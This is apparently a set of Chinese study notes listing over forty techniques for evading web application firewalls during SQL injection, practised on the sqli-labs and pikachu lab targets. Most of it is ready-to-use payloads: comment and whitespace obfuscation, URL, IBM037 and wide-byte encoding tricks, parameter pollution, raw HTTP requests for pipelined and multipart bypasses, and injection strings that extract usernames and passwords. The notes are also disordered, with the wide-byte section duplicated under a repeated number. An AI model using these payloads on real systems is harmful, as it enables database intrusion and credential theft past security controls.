1、架构层面绕过:
(1)寻找源网站绕过 WAF 检测:主要是针对云 WAF ,找到源网站的真实地址,进行绕过,有点像 CDN(用超级ping检测网站是否存在 CDN 节点);
(2)通过同网段绕过 WAF 防护:在同一网段中,可能经过的数据不会经过云 WAF,从而实现绕过;
2、资源限制角度绕过:
(1)一般的 WAF 的执行需要优先考虑业务优先的原则,所以对于构造较大、或超大的数据包可能不会进行检测,从而实现绕过 WAF;
3、协议层面绕过:
(1)由于协议未覆盖,从而绕过 WAF:比如由于业务需要,只对 GET 型数据进行检测,POST型数据选择忽略(一般是上传图片进行检测);
(2)参数污染:
?id=1&id=2 它的 WAF 可能只对id=1进行检测,这时候可以在 id=2 的位置进行sql注入测试;
4、空格绕过:
(1)使用 sql 注释符绕过:
-
union/**/select 我们将 union select 之间的空格用注释符进行替换(适用于对 union select 之间的空格进行检测的情况);
/**/是注释符,也可以当作一个空格来用:
对于select * from users;
/*select * from users;*/是对语句进行注释
select/**/*/**/from/**/users; /**/相当于一个空格
- 我们可以在注释符中填充内容;
- union/*aaaaaaaaaaaaaaaaaaaaaaa*/select 构造较大数据;
//下面两句代码执行结果是一样的
select 1,2,3;
select 1,2,/*12333333*/3;
- /*! union select*/内联注释,我们使用内联注释(mysql 特有,里面的内容会被 mysql 解析);
select /*! 1,2,3*/;
select /*! 1,2,3*/,4,5;
select * from users where id=-1 /*! union select 1,2,3*/;
注意:!后面是有一个空格键的;
(2)使用空白符绕过:
mysql 空白符的绕过:
%09(tab键,水平)
%0A 或 %0a(新建一行)
%0B 或 %0b(tab键,垂直)
%0C 或 %0c(新建一页)
%0D 或 %0d(return 功能)
%A0 或 %a0(空格键)
/**/(注释符)
%20(空格)
注意:
(1)%25 其实就是百分号,%25A0 就是空白符;
(2)多个空白符可以一起使用
(3)使用函数分隔符号:例如对函数 concat(),有时会对这个函数进行过滤,可以对其进行分割来实现绕过:
concat%2520(
concat%250c(
concat%25a0(
concat/**/(
5、构造浮点数词绕过:
WAF 可能对 id=1 可以检测,但是 id=1E0,id=1.0,id=\N 可能就无法检测
6、利用报错注入:
extractvalue();
updatexml();
GeometryCollection((select*from(select*from(select@@version)f)x));
polygon((select*from(select name const(version(),1))x));
linestring();
multipoint();
multilinestring();
multipolygon();
7、MySQL 花括号绕过:
select {x 1};
select {x schema_name} from {x information_schema.schemata};
8、 大小写绕过:
(1)若对关键字 and、or、union 等进行了过滤,可以考虑使用大小写混合的方法:oR,UnioN,AnD;
在sql语句中,不区分大小写
seLeCT 1,2,3;
注意:但是很多时候有函数会部分大小写进行过滤,这个时候可以用双写的方法;
9、关键字重复(双写):
OORr 有时会被解析为 or
eg:sqli_labs 第25关:
?id=-1' aANdnd updatexml(1,concat(0x7e,database(),0x7e),1)--+
10、关键字替换:
网页中输入需用 url 编码
and 替换为 %26%26(&&) ,or 替换为 || ,like 替换 = ,<> 等价于 != 等
11、使用 库名.表名 来进行绕过:
select * from users;
select * from security.users;
12、加入 distinct 或 all 来进行绕过:
select * from usres where id=-1 union distinct select 1,2,3;
select * from usres where id=-1 union all select 1,2,3;
13、脚本语言特性绕过:
%00 是截断字符,有些 waf 遇到 %00 会自动截断,从而不会检测后面的内容
asp/iis 所有出现的参数用逗号连接
php/apache 仅保留最后一次出现的参数
jsp 仅保留第一次出现的参数
perl 仅保留第一次出现的参数
14、逗号绕过:
substr(database(),1,1)
substr(database() from 1 for 1
15、union select 绕过
select * from users where id=-1 union select 1,2,3;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
select * from users where id=-1 union select * from (select 1)a join (select version())b join (select database())c;
16、等号绕过:
1、使用 like
select * from users where id like 1 and (select users like '%xxx%');
2、使用 rlike 或 regexp(后跟正则表达式)
select * from users where username='^a';
17、对于 Limit 的绕过 :
limit 0,1 和 limit 1 等效
limit 0,2 和 limit 2 等效
limit 2,1 和 limit 1 offset 2 等效
limit 2,2 和 limit 2 offset 2 等效
limit 2,3 和 limit 3 offset 2 等效
18、使用运算符绕过:
select * from users where id=1 && 2=1+1;
19、引号绕过:
可用 16 进制,也可以用 10 进制 ascii
select if((substr(database(),1,1)=0x73),sleep(3),1);
select if((ascii(substr(database(),1,1))=115),sleep(3),1);
20、使用 url 编码绕过:
html(unicode)不行,有时候一次编码绕不过 waf ,这时候可以进行二次编码;
每一次在网页中输入 url 编码的时候,
浏览器会进行第一次编码,后端框架会进行第一次解码,
若是 waf 中存在第二次解码,那么就存在二次编码绕过
21、多参数拆分注入:
?id=1&username=admin
若直接在 id 后或 username 后使用 union select 会被 waf 拦截
可以使用多参数拆分注入来进行尝试
?id=1&/*username=*/ union select 1,2,3,version()--+
22、使用生僻函数绕过:
使用 polygon 来绕过 updatexml
select polygon((select * from (select * from (select @@version())f)x));
23、运行大量字符绕过
(1)使用 burpsuite 配合手工进行测试,测试成功再用脚本进行处理;
eg:/*sdfdfsagsagds*/中的字符,你不知道是要添加多少的时候是可绕过的,
可以用 burpsuite 进行测试
(2)可以这样绕过,* 1000 可以让 0xB 增加 1000 次
也可以:
也可以:
24、分块传输绕过:
判断是否是分块传输,要看 http 头里是否有 Transfer-Encoding:chunked
使用 Burpsuite 的插件,但是这样绕过我在本地靶场实验不成功,在虚拟机上搭建的靶场实验能成功。
25、白名单绕过:
如果它匹配到 url 上有诸如 /admin.php 之类的字段,它会把它当作白名单上的对象,因而可以进行绕过;
白名单常见目录:
/admin
/admin.php
/phpmyadmin
http://localhost:805/Less-1/?dfsa=/admin.php&id=1
http://localhost:805/Less-1/index.php/admin.php?id=1
26、静态文件绕过:
静态文件例如:
jpg,png,gif,css,js等,waf 可能不会对他们进行检测从而绕过
http://localhost:805/Less-1/?dfsa=/1.jpg&id=1
http://localhost:805/Less-1/index.php/1.jpg?id=1
http://localhost:805/Less-1/index.php/1.jpg=/1.jpg?id=1
27、修改 Connection 字段,发送两个包来进行绕过:
有些 waf 只会对第二个参数进行检测,然后拦截而忽视了第一个包造成的影响
1、先在第一个包中添加注入信息,修改包字段的长度
2、添加第二个包
3、把 burpsuite Update Content-Length 的勾去掉
4、把 Connection 字段的 close 改成 keep-alive
eg:
POST /Less-11/ HTTP/1.1
Host: localhost:805
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://localhost:805
Connection: keep-alive
Referer: http://localhost:805/Less-11/
Cookie: hVXDm_admin_username=f63fAx2pMVYaFfClEcdt1FQdFQKS3aLjaaEqZTU1udB4oKk; hVXDm_siteid=b5753uz_C8BkPDI9iTcC6GGo5E-Dkhy5BxAHzSaZ; hVXDm_userid=783fLkV2pW5LsrwPDOQHidJRchqcxwk9BmJJHwDD; hVXDm_admin_email=e0f1aYevTWRwtJLurltK6Wpc1dWsuKMPTN_vz_LnrSdw4gjXjzyF9TSCyzlm; hVXDm_sys_lang=45c0Vc-Kv34Fh9qJACUyHZR-6yk1y-gC2fOHpOws5xtU4Q; security_level=0; PHPSESSID=1mngtpfh8kkk7aa2tks4d05dhm
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
uname=ad' union select 1,2#&passwd=admin&submit=SubmitPOST /Less-11/ HTTP/1.1
Host: localhost:805
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://localhost:805
Connection: close
Referer: http://localhost:805/Less-11/
Cookie: hVXDm_admin_username=f63fAx2pMVYaFfClEcdt1FQdFQKS3aLjaaEqZTU1udB4oKk; hVXDm_siteid=b5753uz_C8BkPDI9iTcC6GGo5E-Dkhy5BxAHzSaZ; hVXDm_userid=783fLkV2pW5LsrwPDOQHidJRchqcxwk9BmJJHwDD; hVXDm_admin_email=e0f1aYevTWRwtJLurltK6Wpc1dWsuKMPTN_vz_LnrSdw4gjXjzyF9TSCyzlm; hVXDm_sys_lang=45c0Vc-Kv34Fh9qJACUyHZR-6yk1y-gC2fOHpOws5xtU4Q; security_level=0; PHPSESSID=1mngtpfh8kkk7aa2tks4d05dhm
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
uname=admin&passwd=admin&submit=Submit
28、利用 multipart/form-data 绕过
HTTP头中的Content-Type字段用于指示HTTP消息正文的媒体类型(即数据的类型)
以下是一些常见的Content-Type模式:
text/plain:纯文本,没有特定格式或编码
text/html:HTML文档,用于Web页面
text/css:Cascading Style Sheets(CSS)文档,用于定义网页的样式和布局
application/json:JSON格式的数据,通常用于数据交换
application/xml:XML格式的数据,通常用于数据交换或配置文件
application/pdf:Adobe PDF文档,用于文档传输和阅读
image/jpeg:JPEG格式的图像
image/png:PNG格式的图像
image/gif:GIF格式的图像
audio/mpeg:MPEG音频文件
video/mp4:MP4视频文件
application/octet-stream:二进制数据流,通常不指定特定的媒体类型
multipart/form-data:用于HTML表单上传文件时的媒体类型
application/x-www-form-urlencoded:HTML表单提交时的默认媒体类型,数据以键值对的形式编码
eg: 以 pikachu 的 post 注入为例:
(1)先编写一个前端界面,用于上传 payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<!-- action 指定目标, method 指定目标的上传方式,enctype 指定数据类型 -->
<form action="http://localhost:840/vul/sqli/sqli_id.php" method="post" enctype="multipart/form-data">
<!-- name 需要与目标代码中的一致 -->
<input type="text" name="id">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
(2)然后点击提交,抓包,此时就可以发现包内容变成了这样:
(3)操作方法1
此时还可以复制一遍,变成这样,在两个位置处都进行注入尝试:
Content-Disposition: form-data; name="id"
543423 or 1=1--
-----------------------------2166519827243386053442194380
Content-Disposition: form-data; name="id"
543423 or 1=1--
-----------------------------2166519827243386053442194380
有时候 waf 会只检测第一个参数,而忽视了第二个参数,然而真正起到危害作用的是第二个参数
(4)操作方法2,添加一个标签:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<!-- action 指定目标, method 指定目标的上传方式,enctype 指定数据类型 -->
<form action="http://localhost:840/vul/sqli/sqli_id.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<!-- name 需要与目标代码中的一致 -->
<input type="text" name="id">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
此时 http 请求内容就增加了大量的乱码,在一些时候也可以绕过 waf ;
(5)操作方法3
此时对 Http 的请求数据包可以进行一些微调,多尝试,也可能可以绕过 waf
我这里把 form-data; 删掉
在后面添加乱码
以上都不会出错
29、order by 绕过:
(1)正常使用 order by
select * from users where id=-1 order by 4
(2)使用 into
select * from users where id=-1 into @a,@b,@c,@d
(3)使用 group by
select * from users where id=-1 group by 4
字段数不同时候会报错:
30、更改 http 请求方式绕过:
post 请求和 get 请求可能设定了不同的匹配规则,变化请求方式有可能绕过waf;
31、application/json 或 text/xml 绕过:
有时候程序是 json 提交参数,程序也是 json 接收后再进行拼接,json 若不被拦截,就可进行绕过
设置 Content-Type: application/json
设置 Content-Type: text/xml 也是一样的道理
32、绕过 union select 检测:
(1)换行绕过
select * from users where id=1 union
/*
asdf
wqr
tqw
tqw
yter
ddhf
sdg
sb234
*/
distinct select 1,2,user();
(2)特殊符号绕过:
sel<>ect 尖括号替换为空
sel/**/ect 注释符替换为空
/*! select*/ 内联注释
/*! %73elEct*/ 内联注释和url编码绕过
selec%250at 使用空格符绕过
sele%ct 使用 % 绕过
/*!50000union*//*!50000select*/ 1,2,3;
/*!40000union*//*!40000select*/ 1,2,3;
union all select 1,2
union distince select 1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2
(3)大小写绕过:
UniOn SeLect
(4)添加模糊查询语句进行绕过
33、ibm037 编码绕过:
通常 waf 只识别他所能识别的编码,比如只能识别 utf-8 ,但是服务器可以识别更多的编码
1、在 http 请求包修改 Content-Type 的 charset 变量的参数值为:ibm037
2、更改字段内容的编码为 ibm037 ,以下是使用 python 编写的脚本:
import urllib.parse
string = input("请输入需要加密的的字符串:")
res = urllib.parse.quote(string.encode('ibm037'))
print(res)
34、url 编码绕过:
原payload:?id=2341 or 1=1 --+
进行部分编码后:?id=2341 o%72 1=1 --+
原payload: ?id=2341 union select 1,version() --+
进行部分编码后:?id=2341 un%69%6fn se%6c%65ct 1,ver%73%69on() --+
35、unicode 编码绕过
36、函数拦截绕过:
若拦截了函数 user() ,可以使用注释符 /**/ 进行绕过
select * from users where id=1 union select 1,2,user/**/()
37、NULL 值绕过
使用 \N 就是 NULL 的意思,还可以绕过空格符
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
38、绕过 information_schema 的过滤
在 mysql 中,存在一个 sys 库,里面存放有一些视图,我们可以通过直接查询这些视图来获取我们想要的数据,这个绕过需要考虑用户到用户的权限。
常用视图:
(1)schema_auto_increment_columns
这里面存在的表中都有自增的 ID
(2) x$ps_schema_table_statistics_io
(3)schema_table_statistics_with_buffer
类似的视图还有很多
39、无列名注入:
大致流程:
select * from users;
select 1,2,3 union select * from users;
select `3` from (select 1,2,3 union select * from users)a;
也可以:
select chunchun from (select 1 as cy,2 as nannan,3 as chunchun union select * from users)c;
eg: sqli-labs
先在命令行中确认命令没有出错:
进行注入:
若页面存在报错,也可以直接把列名通过报错显示出来:
(1)
获取第一列的列名:
select * from users where id=-1 union select * from (select * from users as a join users as b)c;
(2)
获取第二列的列名:
select * from users where id=-1 union select * from (select * from users as a join users as b using(id))c;
(3)
获取第三列的列名:
select * from users where id=-1 union select * from (select * from users as a join users as b using(id,username))c;
40、添加模糊查询语句的绕过:
(1)使用 like 绕过:
select * from users where id=-1 like "%0a%23" /*!union select*/1,2,3;
(2)使用 regexp 绕过:
select * from users where id=-1 regexp "%0a%23" /*!union select*/1,2,3;
%0a 使用截断,%23 添加注释
41、 绕过 database() :
(1)使用注释和垃圾字符绕过:
/*!50001database /*@--|*//*@--|*//*@--|*/()*/
/*!50001database /*@--|*//*@--|*//*@--|*/--+%0a()*/
(2)在 database() 的括号内添加字符进行绕过:
?id=1+regexp+"%a0%23"+/*!11144union+%0A+select+*/1,database(%0a+/*!11144*/)
42、polygon() 函数
// 如果传参不是Linestring就会报错,如果传参是已知字段名,就会爆库,表,字段名
select * from test where id=1 and Polygon(id);
43、 利用不存在的函数爆出库名
select * from users where id=1-a();
44、宽字节注入:
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意
- 使用16进制ascii大于128的字符来进行注入;
?id=1%af' 报错说明是单引号注入
' 前会被添加 \ 进行转义, \ 在进入 mysql 后会被转码作 %5c,
%df%5c 会被整体看作是一个字符,从而保留了 '
关于%df是几个字节的字符?
%df是一个URL编码中的字符转义序列,
表示一个字节的十六进制数0xDF,即十进制数223。
在UTF-8编码中,这个字节表示一个非ASCII字符,
而在GBK编码中,它表示一个汉字或其他非ASCII字符。
需要注意的是,UTF-8和GBK都是变长编码方式,一个字符可以由一个或多个字节组成。
在UTF-8中,一个汉字通常由3个字节组成,
而在GBK中,一个汉字通常由2个字节组成。
因此,如果%df前面或后面的字符也是非ASCII字符,
那么%df就不再表示一个单独的字符,而是与前面或后面的字符一起组成一个多字节字符。
- 实际上,可以添加任意多个的%5c:
-
?id=1%aa%5c' ?id=1%aa%5c%5c' ?id=1%aa%5c%5c%5c' 都可以让 ' 独立出来,实现 sql 注入
- 可以用字符 � 直接跳过宽字符的构造,因为它可以直接与 \ 构造形成宽字符;
- 如果是 post 中传入数据会对数据进行一次 url 编码的转换,如果提交的是 aaa%df',它会在进入mysql之前转换为 aaa%25df'从而失去%的作用;
39、宽字节注入:如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意
- 使用16进制ascii大于128的字符来进行注入;
?id=1%af' 报错说明是单引号注入
' 前会被添加 \ 进行转义, \ 在进入 mysql 后会被转码作 %5c,
%df%5c 会被整体看作是一个字符,从而保留了 '
关于%df是几个字节的字符?
%df是一个URL编码中的字符转义序列,
表示一个字节的十六进制数0xDF,即十进制数223。
在UTF-8编码中,这个字节表示一个非ASCII字符,
而在GBK编码中,它表示一个汉字或其他非ASCII字符。
需要注意的是,UTF-8和GBK都是变长编码方式,一个字符可以由一个或多个字节组成。
在UTF-8中,一个汉字通常由3个字节组成,
而在GBK中,一个汉字通常由2个字节组成。
因此,如果%df前面或后面的字符也是非ASCII字符,
那么%df就不再表示一个单独的字符,而是与前面或后面的字符一起组成一个多字节字符。
- 实际上,可以添加任意多个的%5c:
-
?id=1%aa%5c' ?id=1%aa%5c%5c' ?id=1%aa%5c%5c%5c' 都可以让 ' 独立出来,实现 sql 注入
- 可以用字符 � 直接跳过宽字符的构造,因为它可以直接与 \ 构造形成宽字符;
- 如果是 post 中传入数据会对数据进行一次 url 编码的转换,如果提交的是 aaa%df',它会在进入mysql之前转换为 aaa%25df'从而失去%的作用;
44、注意反引号
45、一些简单绕过实例:
(1)sqli_labs 第26关,此关屏蔽了符号如下:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
在没有空格的情况下:
- 把 or/and 用 ||/&& 替换可以达到预期的效果,因为使用 ||/&& 语句间不需要使用空格:
?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) || '1'='1
- 用括号来绕过空格:
less-26 实际注入语句
?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(schema_name) ) from (infoORrmation_schema.schemata) ) ,63) ,0x7e),1) || '1'='1
?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(column_name) ) from (infoORrmation_schema.columns) where (table_name='users') ) ,1) ,0x7e),1) || '1'='1
?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(username,id,passwoORrd) ) from (users) ) ,1) ,0x7e),1) || '1'='1
- 用 %a0 等进行绕过空白符:
less-26 实际注入语句
?id=1' %a0 union %a0 select %a0 1,2,3,4 || '1'='1
?id=100000' %a0 union %a0 select %a0 1,database(),database() AANDND '1'='1
?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(schema_name) from %a0 infoORrmation_schema.schemata) ,database() AANDND '1'='1
?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(table_name) from %a0 infoORrmation_schema.tables %a0 where %a0 table_schema='security' ) ,database() AANDND '1'='1
?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(column_name) from %a0 infoORrmation_schema.columns %a0 where %a0 table_name='users' ) ,database() AANDND '1'='1
?id=100000' %a0 union %a0 select %a0 1, substr ((select %a0 group_concat(username,id,passwoORrd) from %a0users ),1) ,database() AANDND '1'='1
补充:
(1) elt(index,a,b,c,...) 函数,index的数值相当于后面a,b,c的索引,index 为 1时,即返回 a,为 2时,即返回 b;
(2)若对引号添加了转义,例如指定表名时:
select * from users where username='xcc';
就要使用16进制对单引号进行绕过:
select * from users where username=0x786363;
(3)mid() 与 substr() 一模一样